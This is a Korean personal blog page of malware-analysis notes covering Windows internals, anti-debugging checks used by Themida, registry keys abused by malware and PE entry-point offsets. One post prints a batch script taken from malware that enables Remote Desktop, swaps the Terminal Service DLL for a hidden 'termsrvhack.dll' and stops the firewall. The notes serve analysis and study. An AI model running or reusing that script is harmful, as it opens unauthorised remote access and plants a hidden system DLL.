CreateMutex
까보면 다나와~
유용한 지식 자료들 (89)

고급 사용자를 위한 Internet Explorer 보안 영역 레지스트리 항목
http://support.microsoft.com/kb/182569/ko

.data:10009BB4  00000027 C {AEBA21FA-782A-4A90-978D-B72164C80120}                                     
.data:10009BDC  00000027 C {A8A88C49-5EB2-4990-A1A2-0876022C854F}                   


오늘 위의 CLSID를 확인하는 악성코드를 보았다.
MS 참고 사이트를 보니 보안관련한 것 같다.

나중을 위해 블로깅..
  Comments,     Trackbacks

화면 캡쳐에 쓰이는 API

다음은 화면 캡쳐에 쓰이는 API - GetDC, BitBIt, ReleaseDC에 관한 글이다.
몇몇 악성코드를 분석하다 보면 GetDC라는 함수를 보았던거 같다. 이게 관련이 있는 지는 모르겠지만
그동안은 반신반의 하면서 쓰레기코드로 치부하고 지나갔었다... 다음에 만나면 상세분석 들어가야겠다..ㅎ

------> 다음은 원문

상용 DRM솔루션에 대한 이해 1부 - 화면캡쳐방지는 어떻게 구현될까?
http://lain32.egloos.com/4805054

(생략)..

화면캡쳐방지에 대해 거론하기 전에 우선 화면캡쳐를 어떻게 하는지 당연히 알고 있어야 합니다.
방어를 할려면 공격방법을 먼저 알아야 되죠. 그래서 해킹보다 보안이라는것이 더 어려운 경우가 많습니다.

화면캡쳐에 기본적인 주요 API는 3가지로 구현됩니다.
GetDC, BitBlt, ReleaseDC

화면캡쳐 프로그램들은 보통 이 3가지 API를 이용하여 화면캡쳐를 합니다.
다음은 오픈캡쳐에서 사용하는 전체화면 캡쳐 방식입니다.

..(생략)
  Comments,     Trackbacks

Anti Debug 몇 가지 입니다.
Thermida AntiDebug Specs
(Just ignore this if you've never step though asm code with an debugger)

Checks first byte of an API for 0xCC
^- so avoid setting a breakpoint directly to for ex. CreateFile
(instead set on the next instruction in CreateFile)

\\.\NTICE  \\.\SICE \\.\SIWVID [No comment]
"ntice.sys"  [No comment]
"iceext.sys"   Numega Softice Extension for hiding softice
"Syser.sys" Syser Kernel Debugger (
http://www.sysersoft.com)
"HanOlly.sys" from 'HanOlly_edition_for_themida_1.9'
"extrem.sys" "FRDTSC.SYS" standardname of 'PhantOm'plugin for Ollydebug
 (change this in Ollydbg.ini![Plugin PhantOm]!)

"Filem" "REGMON" "regsys" "sysregm" "PROCMON"  yaya the powertools from Sysinterals


더미다에서 쓰이는 안티디버그 방법 중 몇 가지 입니다.
실제로 까본 모습인데 몇 가지 파일이 더 있네요. 버젼에 따라 다르겠죠.


* iceext.sys ntice.sys syser.sys hanolly.sys extrem.sys frdtsc.sys

'유용한 지식 자료들 > Anti Reversing 기법' 카테고리의 다른 글

CMPXCHG8B and LOCK  (0) 2011.11.29
Red Pill  (1) 2011.11.29
OpenRCE Anti Reverse Engineering Techniques Database  (0) 2011.11.29
windows-anti-debug-reference  (0) 2011.11.29
안티안티모니터링을 위한 API  (0) 2011.11.21
  Comments,     Trackbacks

KiUserApcDispatcher

Kernel To User Callback 1 - KiUserApcDispatcher

 Application Stack Trace를 하게 되면 종종 KiUserApcDispatcher라는 녀석을 만나게됩니다.
기본적으로 Thread를 생성 초기화 하기위해서 User Level에서는 CreateThread , CreateThreadEx등을
이용하게 됩니다. 누구나 알다시피 CreateThread->NtCreateThread->ZwCreateThread 순으로 호출이
이루어지죠.

( SystemCallStub에 대한 내용은 설명하지 않겠습니다. ) ZwCreateThread는 Thread의 TCB 를 초기화 하고
Apc List, IRP List 등등을 초기화 합니다. 그리고 마지막으로 Thread 의 EntryPoint를 초기화할 System Routine과 Thread EntryPoint 등 바탕으로 Start Frame을 구성하고 Kernel Stack은 Switch Frame으로 초기화하여 Return
합니다.

 초기화 작업 완료 후 Task Switching 이 발생하게 되면 Thread의 System Routine을 통해서 User Level Thread의 Entry Point를 초기화 하게 되는데 이러한 과정에 KiUserApcDispatcher를 통해서 이루어집니다.
즉 Thread를 초기화 하는 System Routine은 User Level Thread의 Stack Frame의 EIP( Instruction Point )를 KiUserApcDispatcher로 지정하여 이를 Execute할 수 있도록해줍니다.

ReactOS 상의 관련 코드

VOID
NTAPI
PspUserThreadStartup(IN PKSTART_ROUTINE StartRoutine,
  IN PVOID StartContext)
{
...
  /* Make sure we're not already dead */
  if (!DeadThread)
  {
  /* Check if the Prefetcher is enabled */
  if (CcPfEnablePrefetcher)
  {
  /* FIXME: Prepare to prefetch this process */
  }
  /* Raise to APC */
  KeRaiseIrql(APC_LEVEL, &OldIrql);/* Queue the User APC */
  KiInitializeUserApc(NULL,
  (PVOID)((ULONG_PTR)Thread->Tcb.InitialStack -
  sizeof(KTRAP_FRAME) -
  SIZEOF_FX_SAVE_AREA),
  PspSystemDllEntryPoint,
  NULL,
  PspSystemDllBase,
  NULL);

/* Lower it back to passive */
  KeLowerIrql(PASSIVE_LEVEL);
  }
  else
  {
  /* We’re dead, kill us now */
  PspTerminateThreadByPointer(Thread,
  STATUS_THREAD_IS_TERMINATING,
  TRUE);
  }

}

VOID
NTAPI
KiInitializeUserApc(IN PKEXCEPTION_FRAME ExceptionFrame,
  IN PKTRAP_FRAME TrapFrame,
  IN PKNORMAL_ROUTINE NormalRoutine,
  IN PVOID NormalContext,
  IN PVOID SystemArgument1,
  IN PVOID SystemArgument2)
{
...
  /* Run at APC dispatcher */
  TrapFrame->Eip = (ULONG)KeUserApcDispatcher;
  TrapFrame->HardwareEsp = Stack;/* Setup Ring 3 state */
  TrapFrame->SegCs = Ke386SanitizeSeg(KGDT_R3_CODE, UserMode);
  TrapFrame->HardwareSegSs = Ke386SanitizeSeg(KGDT_R3_DATA, UserMode);
  TrapFrame->SegDs = Ke386SanitizeSeg(KGDT_R3_DATA, UserMode);
  TrapFrame->SegEs = Ke386SanitizeSeg(KGDT_R3_DATA, UserMode);
  TrapFrame->SegFs = Ke386SanitizeSeg(KGDT_R3_TEB, UserMode);
  TrapFrame->SegGs = 0;
  TrapFrame->ErrCode = 0;/* Sanitize EFLAGS */
  TrapFrame->EFlags = Ke386SanitizeFlags(Context.EFlags, UserMode);/* Check if thread has IOPL and force it enabled if so */
  if (KeGetCurrentThread()->Iopl) TrapFrame->EFlags |= 0×3000;/* Setup the stack */
  *(PULONG_PTR)(Stack + 0 * sizeof(ULONG_PTR)) = (ULONG_PTR)NormalRoutine;
  *(PULONG_PTR)(Stack + 1 * sizeof(ULONG_PTR)) = (ULONG_PTR)NormalContext;
  *(PULONG_PTR)(Stack + 2 * sizeof(ULONG_PTR)) = (ULONG_PTR)SystemArgument1;
  *(PULONG_PTR)(Stack + 3 * sizeof(ULONG_PTR)) = (ULONG_PTR)SystemArgument2
;

}

KiUserApcDispatcher는 이러한 과정을 거치면서 UserMode 상에 Callback 되어지고 이러한 KiUserApcDispatcher는 LdrpInitialize를 통해서 Stack을 초기화 ZwContinue를 통해서 실제 Thread의 Entry Point를 Execute 하게 됩니다.

KiUserApcDispatcher는 Thread의 시작 뿐만아니라 Dll의 호출이나 User Level APC가 전달될때 발생하게 되며 이러한 경우 Stack 상에서 종종 볼수 있습니다.


- 출처 : http://www.insidewindows.kr/?p=30

  Comments,     Trackbacks

Explorer 레지스터를 활용한 악성코드

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
ControlPanel\NameSpace\{c308dbac-6fbc-4faa-aa66-2c924ab9b109}

--> 제어판 목록에 추가

 

 

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Desktop\NameSpace\{c308dbac-6fbc-4faa-aa66-2c924ab9b109}

---> 바탕화면에 추가

 

 

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
MyComputer\NameSpace\{c308dbac-6fbc-4faa-aa66-2c924ab9b109}

--> 내 컴퓨터에 나오는 목록.. 위에 CLSSID는 기타로 표시됨

 

 

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
NetworkNeighborhood\NameSpace\{c308dbac-6fbc-4faa-aa66-2c924ab9b109}

네트워크이웃 추가....;

'유용한 지식 자료들 > 레지스트리' 카테고리의 다른 글

Active Setup이란  (0) 2012.08.28
인터넷에 관련한 레지스트리 설정 정보  (0) 2012.07.12
윈7 레지스트리 정보  (0) 2011.09.06
MUICache 레지스트리  (0) 2011.04.15
  Comments,     Trackbacks

Bat 파일로 쓰인 명령어
@echo off
for /f "tokens=2 delims= " %%a in ('tasklist/svc^|find ^"TermService^"') do (taskkill /pid %%a /f)
REG ADD HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\System32\termsrvhack.dll /f
Attrib +H +S +R %systemroot%\system32\termsrvhack.dll
net stop sharedaccess
net start dcomlaunch
net start termservice
shutdown -a
del 3389.vbs
del 3389.bat

요놈은 삭제만 할 줄 알았더니 직접 서비스를 한다.
대충.. termsrv.dll 파일을 이용하여 외부와 통신을 하는 목적으로 판단된다.
뭐하는 명령인지 전부는 모르지만 혹시 몰라 남겨봄~
  Comments,     Trackbacks

Backtrack에서 GUI로 네트워크 설정하기 (Backtrack Network Configuration)

Backtrack에서 네트워크 설정시 터미널에서 수정하는 것보다 GUI가 쉽기 때문에 관련 정보를 찾아 올립니다. 저는 Vmware에서 Nat설정을 하고도 네트워크가 잡히지 않아서 이렇게 하고 GUI로 보니 DNS문제였내요..--; 아무튼 유용할거 같아서 스크린 샷 붙혀 보았습니다.

 

The file we’re looking for is /usr/share/slax/network-conf.kmdr. If you try to run network-conf.kmdr from a terminal, nothing happens and you get some errors. This is because this file requires the command kmdr-executor. So, to easily return the missing menu item to K Menu:

 

 

- Right click the K Menu button and choose Menu Editor.

 

 

- Expand Internet group.

 

- Right click Internet group, and select New Item.

 

 

- Name the new item Network Configurator, and the Command is:


kmdr-executor /usr/share/slax/network-conf.kmdr


 

 

- Choose an icon for the menu item

 

- Save the K Menu configuration.

 

 

- Enjoy.

 


  Comments,     Trackbacks

악성코드가 싫어하는 프로그램들

VM에서 동적 분석하는 데 모든 모니터링 툴이 꺼져버렸다.
분명 제대로 동작한 악성코드라 뭔 짓을 했는지 궁그해서 살짝 까봤더니
아래와 같은 스트링이 있었다.



이런 프로그램들이라면 제작자에게 인정받거나 사람들이 많이 사용한다는 반증.
안써본게 있다면 사용해 보시길.
  Comments,     Trackbacks

파일의 Entry Point 값을 파일 Offset값으로 구하는 방법

Offset 108 번째(Address of Entry Point)의 Data 값
빼기
Offset 1e4 번째(RVA)의 Data 값
더하기
Offset 1ec 번째(PointerToRawData)의 Data 값


이렇게 계산을 하면 RVA로 나오는 EP값이 아닌 파일 Offset의 주소값을 알 수 있다.
원리는 책 "시스템 실행파일의 구조와 원리"를 참고하면 이해하는 데 도움이 될 것이다.
악성코드 로더(loader)계열이 시스템 파일을 변조할 때 EP를 수정하기 위한 한 방법이다.
  Comments,     Trackbacks